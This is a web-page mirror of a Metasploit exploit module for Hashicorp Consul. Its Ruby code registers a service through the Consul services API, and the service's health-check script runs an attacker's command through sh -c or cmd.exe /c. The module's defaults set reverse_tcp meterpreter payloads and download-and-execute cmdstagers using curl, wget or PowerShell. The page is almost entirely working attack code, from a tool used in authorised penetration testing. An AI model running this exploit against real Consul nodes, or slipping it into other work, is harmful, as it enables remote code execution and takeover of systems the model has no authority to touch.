CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/misc/consul_service_exec.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::CmdStager
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Hashicorp Consul Remote Command Execution via Services API',
17
'Description' => %q{
18
This module exploits Hashicorp Consul's services API to gain remote command
19
execution on Consul nodes.
20
},
21
'License' => MSF_LICENSE,
22
'Author' =>
23
[
24
'Bharadwaj Machiraju <bharadwaj.machiraju[at]gmail.com>', # Discovery and PoC
25
'Francis Alexander <helofrancis[at]gmail.com >', # Discovery and PoC
26
'Quentin Kaiser <kaiserquentin[at]gmail.com>', # Metasploit module
27
'Matthew Lucas <mattglucas97[at]gmail.com>' # Windows support for Metasploit module
28
],
29
'References' =>
30
[
31
[ 'URL', 'https://www.consul.io/api/agent/service.html' ],
32
[ 'URL', 'https://github.com/torque59/Garfield' ]
33
],
34
'Targets' =>
35
[
36
[
37
'Linux',
38
{
39
'Platform' => 'linux',
40
'CmdStagerFlavor' => ['bourne', 'echo', 'printf', 'curl', 'wget'],
41
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' }
42
}
43
],
44
[
45
'Windows',
46
{
47
'Platform' => 'win',
48
'CmdStagerFlavor' => 'psh_invokewebrequest',
49
'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' }
50
}
51
]
52
],
53
'Payload' => {},
54
'Privileged' => false,
55
'DefaultTarget' => 0,
56
'DisclosureDate' => '2018-08-11'
57
)
58
)
59
register_options(
60
[
61
OptString.new('TARGETURI', [true, 'The base path', '/']),
62
OptBool.new('SSL', [false, 'Negotiate SSL/TLS for outgoing connections', false]),
63
OptString.new('ACL_TOKEN', [false, 'Consul Agent ACL token', '']),
64
Opt::RPORT(8500)
65
]
66
)
67
end
68
69
def check
70
res = send_request_cgi({
71
'method' => 'GET',
72
'uri' => normalize_uri(target_uri.path, '/v1/agent/self'),
73
'headers' => {
74
'X-Consul-Token' => datastore['ACL_TOKEN']
75
}
76
})
77
78
unless res
79
vprint_error 'Connection failed'
80
return CheckCode::Unknown
81
end
82
83
unless res.code == 200
84
vprint_error 'Unexpected reply'
85
return CheckCode::Safe
86
end
87
88
agent_info = JSON.parse(res.body)
89
90
if agent_info['Config']['EnableScriptChecks'] == true || agent_info['DebugConfig']['EnableScriptChecks'] == true || agent_info['DebugConfig']['EnableRemoteScriptChecks'] == true
91
return CheckCode::Vulnerable
92
end
93
94
CheckCode::Safe
95
rescue JSON::ParserError
96
vprint_error 'Failed to parse JSON output.'
97
return CheckCode::Unknown
98
end
99
100
def execute_command(cmd, _opts = {})
101
uri = target_uri.path
102
service_name = Rex::Text.rand_text_alpha(5..10)
103
print_status("Creating service '#{service_name}'")
104
105
# NOTE: Timeout defines how much time the check script will run until
106
# getting killed. Arbitrarily set to one day for now.
107
case target.name
108
when /Linux/
109
arg1 = 'sh'
110
arg2 = '-c'
111
when /Windows/
112
arg1 = 'cmd.exe'
113
arg2 = '/c'
114
end
115
res = send_request_cgi({
116
'method' => 'PUT',
117
'uri' => normalize_uri(uri, 'v1/agent/service/register'),
118
'headers' => {
119
'X-Consul-Token' => datastore['ACL_TOKEN']
120
},
121
'ctype' => 'application/json',
122
'data' => {
123
ID: service_name.to_s,
124
Name: service_name.to_s,
125
Address: '127.0.0.1',
126
Port: 80,
127
check: {
128
Args: [arg1, arg2, cmd.to_s],
129
interval: '10s',
130
Timeout: '86400s'
131
}
132
}.to_json
133
})
134
unless res && res.code == 200
135
fail_with(Failure::UnexpectedReply, 'An error occured when contacting the Consul API.')
136
end
137
print_status("Service '#{service_name}' successfully created.")
138
print_status("Waiting for service '#{service_name}' script to trigger")
139
sleep(12)
140
print_status("Removing service '#{service_name}'")
141
res = send_request_cgi({
142
'method' => 'PUT',
143
'uri' => normalize_uri(
144
uri,
145
"v1/agent/service/deregister/#{service_name}"
146
),
147
'headers' => {
148
'X-Consul-Token' => datastore['ACL_TOKEN']
149
}
150
})
151
if res && res.code != 200
152
fail_with(Failure::UnexpectedReply,
153
'An error occured when contacting the Consul API.')
154
end
155
end
156
157
def exploit
158
execute_cmdstager
159
end
160
end
161
162